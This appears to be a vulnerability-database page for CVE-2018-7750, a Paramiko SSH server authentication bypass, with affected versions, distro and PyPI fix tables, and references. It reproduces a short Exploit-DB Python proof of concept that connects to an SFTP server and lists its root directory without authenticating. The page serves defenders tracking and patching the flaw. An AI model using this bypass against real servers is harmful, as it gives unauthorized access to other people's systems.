CVE-2018-7750
Description
transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Paramiko 2.4.1 - Authentication Bypass
# Exploit Title: Paramiko 2.4.1 - Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple
# CVE : CVE-2018-7750
# This PoC is based on discussions found at the following github issue:
# https://github.com/paramiko/paramiko/issues/1175
# TLDR, Paramiko doesn't check if the client has completed the authentication step
# before allowing the client to open channels. The PoC below connects to an SFTP
# server, and lists the root directory without authenticating. Slight modification
# is required if you want to open an SSH channel.
#!/usr/bin/python
import paramiko
host = '127.0.0.1'
port = 22
trans = paramiko.Transport((host, port))
trans.start_client()
# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')
sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.4.2-0.1 |
| sid | Fixed | 2.4.2-0.1 |
| forky | Fixed | 2.4.2-0.1 |
| bullseye | Fixed | 2.4.2-0.1 |
| bookworm | Fixed | 2.4.2-0.1 |
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| PyPI | paramiko | >=2.0.0,<2.0.8 | 2.0.8 |
| PyPI | paramiko | >=2.1.0,<2.1.5 | 2.1.5 |
| PyPI | paramiko | >=2.2.0,<2.2.3 | 2.2.3 |
| PyPI | paramiko | >=2.3.0,<2.3.2 | 2.3.2 |
| PyPI | paramiko | >=2.4.0,<2.4.1 | 2.4.1 |
| PyPI | paramiko | >=1.18.0,<1.18.5 | 1.18.5 |
| PyPI | paramiko | <1.17.6 | 1.17.6 |
| PyPI | paramiko | <fa29bd8446c8eab237f5187d28787727b4610516||>=1.18.0,<1.18.5 | fa29bd8446c8eab237f5187d28787727b4610516 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2018-7750
- https://github.com/paramiko/paramiko/issues/1175
- https://github.com/paramiko/paramiko/commit/fa29bd8446c8eab237f5187d28787727b4610516
- https://github.com/paramiko/paramiko/commit/e9dfd854bdaf8af15d7834f7502a0451d217bb8c
- https://www.exploit-db.com/exploits/45712
- https://web.archive.org/web/20190831123128/http://www.securityfocus.com/bid/103713
- https://usn.ubuntu.com/3603-2
- https://usn.ubuntu.com/3603-1
- https://lists.debian.org/debian-lts-announce/2021/12/msg00025.html
- https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html
- https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2018-19.yaml
- https://github.com/paramiko/paramiko/blob/master/sites/www/changelog.rst
- https://github.com/paramiko/paramiko/blob/e861c7697622774071ce73b46ffe8817eacdedfa/sites/www/changelog.rst?plain=1#L759-L763
- https://github.com/paramiko/paramiko
- https://github.com/advisories/GHSA-232r-66cg-79px
- https://access.redhat.com/errata/RHSA-2018:1972
- https://access.redhat.com/errata/RHSA-2018:1525
- https://access.redhat.com/errata/RHSA-2018:1328
- https://access.redhat.com/errata/RHSA-2018:1274
- https://access.redhat.com/errata/RHSA-2018:1213
- https://access.redhat.com/errata/RHSA-2018:1125
- https://access.redhat.com/errata/RHSA-2018:1124
- https://access.redhat.com/errata/RHSA-2018:0646
- https://access.redhat.com/errata/RHSA-2018:0591
- https://www.suse.com/security/cve/CVE-2018-7750.html
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.